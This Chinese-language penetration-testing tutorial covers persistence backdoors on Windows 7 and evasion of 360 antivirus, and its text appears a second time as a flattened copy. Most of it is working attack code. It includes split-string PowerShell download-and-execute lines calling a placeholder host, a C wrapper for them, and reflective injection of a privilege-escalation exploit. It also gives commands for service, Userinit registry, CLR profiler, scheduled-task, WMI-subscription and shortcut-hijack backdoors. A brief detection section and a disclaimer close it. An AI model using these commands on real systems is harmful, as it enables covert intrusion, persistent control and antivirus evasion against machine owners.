内网渗透-windows持久性后门
字数 1177 2025-08-15 21:30:19

Windows持久性后门技术详解

一、前言

本文详细讲解在Windows系统上建立持久性后门的多种技术方法,包括绕过杀毒软件(以360为例)的技巧。这些技术在内网渗透中尤为重要,特别是在获得初始访问权限后维持长期控制。

二、环境准备

实验环境配置

  • 操作系统:Windows 7 x64
  • 安全防护:360安全卫士+360杀毒
  • 初始权限:普通用户权限
  • 系统补丁:仅安装3个补丁(模拟低安全性环境)

三、初始访问与免杀技术

1. PowerShell拆分免杀

使用PowerShell拆分技术绕过杀毒软件检测:

$c2 = 'IEX (New-Object Net.WebClient).Downlo'
$c3 = 'adString(''http://x.x.x.x/a'')'
$Text = $c2 + $c3
IEX(-join $Text)

2. C语言包装执行

将PowerShell命令嵌入C程序中编译为EXE:

#include<stdio.h>
#include<stdlib.h>
int main(){
    system("powershell $c2='IEX (New-Object Net.WebClient).Downlo'; $c3='adString(''http://x.x.x.x/a'')'; $Text=$c2+$c3; IEX(-join $Text)");
    return 0;
}

四、权限提升技术

1. 绕过PowerShell限制

当powershell.exe被阻止时:

  1. 上传相同版本的powershell.exe到可写目录(如C:\Windows\Temp)
  2. 从该位置执行PowerShell

2. PowerShell提权

使用反射式PE注入执行提权EXP:

C:\Windows\Temp\powershell.exe -w Normal "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://x.x.x.x/ps/cve-2018-8120.exe -ExeArgs 'C:\Windows\Temp\123.exe' -ForceASLR"

五、持久性后门技术

1. 系统服务后门

方法一:SC命令

sc create "nuoyan" binpath= "c:\accc.exe"
sc config "nuoyan" start= auto

方法二:PowerShell创建服务

$c2 = 'new-'
$c3 = 'service –Name nuoyani –DisplayName OrderServ –BinaryPathName "C:\accc.exe" –StartupType Automatic'
$Text = $c2 + $c3
IEX(-join $Text)

2. 注册表后门

2.1 Userinit注册表后门

修改用户登录时执行的程序:

Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"

2.2 CLR后门

劫持所有.NET程序执行:

  1. 设置环境变量:
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}"
  1. 修改注册表(32位系统):
REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\tide\tide32.dll" /f

3. 计划任务后门

创建登录时触发的计划任务:

schtasks.exe /Create /TN 主动防御 /TR c:\windows\temp\tide_ms.exe /SC ONLOGON /F /RL HIGHEST

4. DLL劫持后门

  1. 使用自动化工具生成恶意DLL
  2. 替换目标程序的DLL或修改导入表
  3. 当目标程序运行时自动加载恶意DLL

5. WMI事件后门

创建永久WMI事件订阅:

$fname = "cccc"
$cname = "cccc"
$CommandLineTemplate = "C:\Windows\temp\tide.exe"
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"

$WMIEventFilter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{Name=$fname;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$query}
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$cname;CommandLineTemplate=$CommandLineTemplate}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer} | out-null

6. 快捷方式劫持

  1. 修改目标程序快捷方式指向恶意EXE
  2. 恶意EXE同时启动原程序和木马

示例C代码:

#include <stdio.h>
#include <stdlib.h>
int main(){
    system("\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox1.exe\"");
    system("C:\\Windows\\Temp\\tide.exe");
    return 0;
}

六、绕过杀毒软件技巧

  1. PowerShell拆分:将敏感命令拆分为多个变量再组合执行
  2. 自定义PowerShell路径:上传powershell.exe到非标准目录
  3. 反射加载:使用反射式PE注入避免文件落地
  4. 时间延迟:设置WMI事件在系统启动后一段时间触发
  5. 合法程序伪装:修改图标和资源信息使恶意程序看起来合法

七、检测与清理

  1. 使用Autoruns检查WMI事件订阅
  2. 检查注册表常见后门位置:
    • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
    • HKCU\Environment下的COR_*键值
  3. 审查计划任务
  4. 检查系统服务中的可疑项
  5. 使用Process Monitor监控异常进程创建

八、参考资源

  1. Windows后门种植方式收集
  2. Use CLR to bypass UAC
  3. Powershell Attack Guide
  4. DLL劫持技术详解

本技术文档仅用于安全研究和防御目的,请勿用于非法用途。

Windows持久性后门技术详解 一、前言 本文详细讲解在Windows系统上建立持久性后门的多种技术方法,包括绕过杀毒软件(以360为例)的技巧。这些技术在内网渗透中尤为重要,特别是在获得初始访问权限后维持长期控制。 二、环境准备 实验环境配置 操作系统:Windows 7 x64 安全防护:360安全卫士+360杀毒 初始权限:普通用户权限 系统补丁:仅安装3个补丁(模拟低安全性环境) 三、初始访问与免杀技术 1. PowerShell拆分免杀 使用PowerShell拆分技术绕过杀毒软件检测: 2. C语言包装执行 将PowerShell命令嵌入C程序中编译为EXE: 四、权限提升技术 1. 绕过PowerShell限制 当powershell.exe被阻止时: 上传相同版本的powershell.exe到可写目录(如C:\Windows\Temp) 从该位置执行PowerShell 2. PowerShell提权 使用反射式PE注入执行提权EXP: 五、持久性后门技术 1. 系统服务后门 方法一:SC命令 方法二:PowerShell创建服务 2. 注册表后门 2.1 Userinit注册表后门 修改用户登录时执行的程序: 2.2 CLR后门 劫持所有.NET程序执行: 设置环境变量: 修改注册表(32位系统): 3. 计划任务后门 创建登录时触发的计划任务: 4. DLL劫持后门 使用自动化工具生成恶意DLL 替换目标程序的DLL或修改导入表 当目标程序运行时自动加载恶意DLL 5. WMI事件后门 创建永久WMI事件订阅: 6. 快捷方式劫持 修改目标程序快捷方式指向恶意EXE 恶意EXE同时启动原程序和木马 示例C代码: 六、绕过杀毒软件技巧 PowerShell拆分 :将敏感命令拆分为多个变量再组合执行 自定义PowerShell路径 :上传powershell.exe到非标准目录 反射加载 :使用反射式PE注入避免文件落地 时间延迟 :设置WMI事件在系统启动后一段时间触发 合法程序伪装 :修改图标和资源信息使恶意程序看起来合法 七、检测与清理 使用Autoruns检查WMI事件订阅 检查注册表常见后门位置: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit HKCU\Environment下的COR_* 键值 审查计划任务 检查系统服务中的可疑项 使用Process Monitor监控异常进程创建 八、参考资源 Windows后门种植方式收集 Use CLR to bypass UAC Powershell Attack Guide DLL劫持技术详解 本技术文档仅用于安全研究和防御目的,请勿用于非法用途。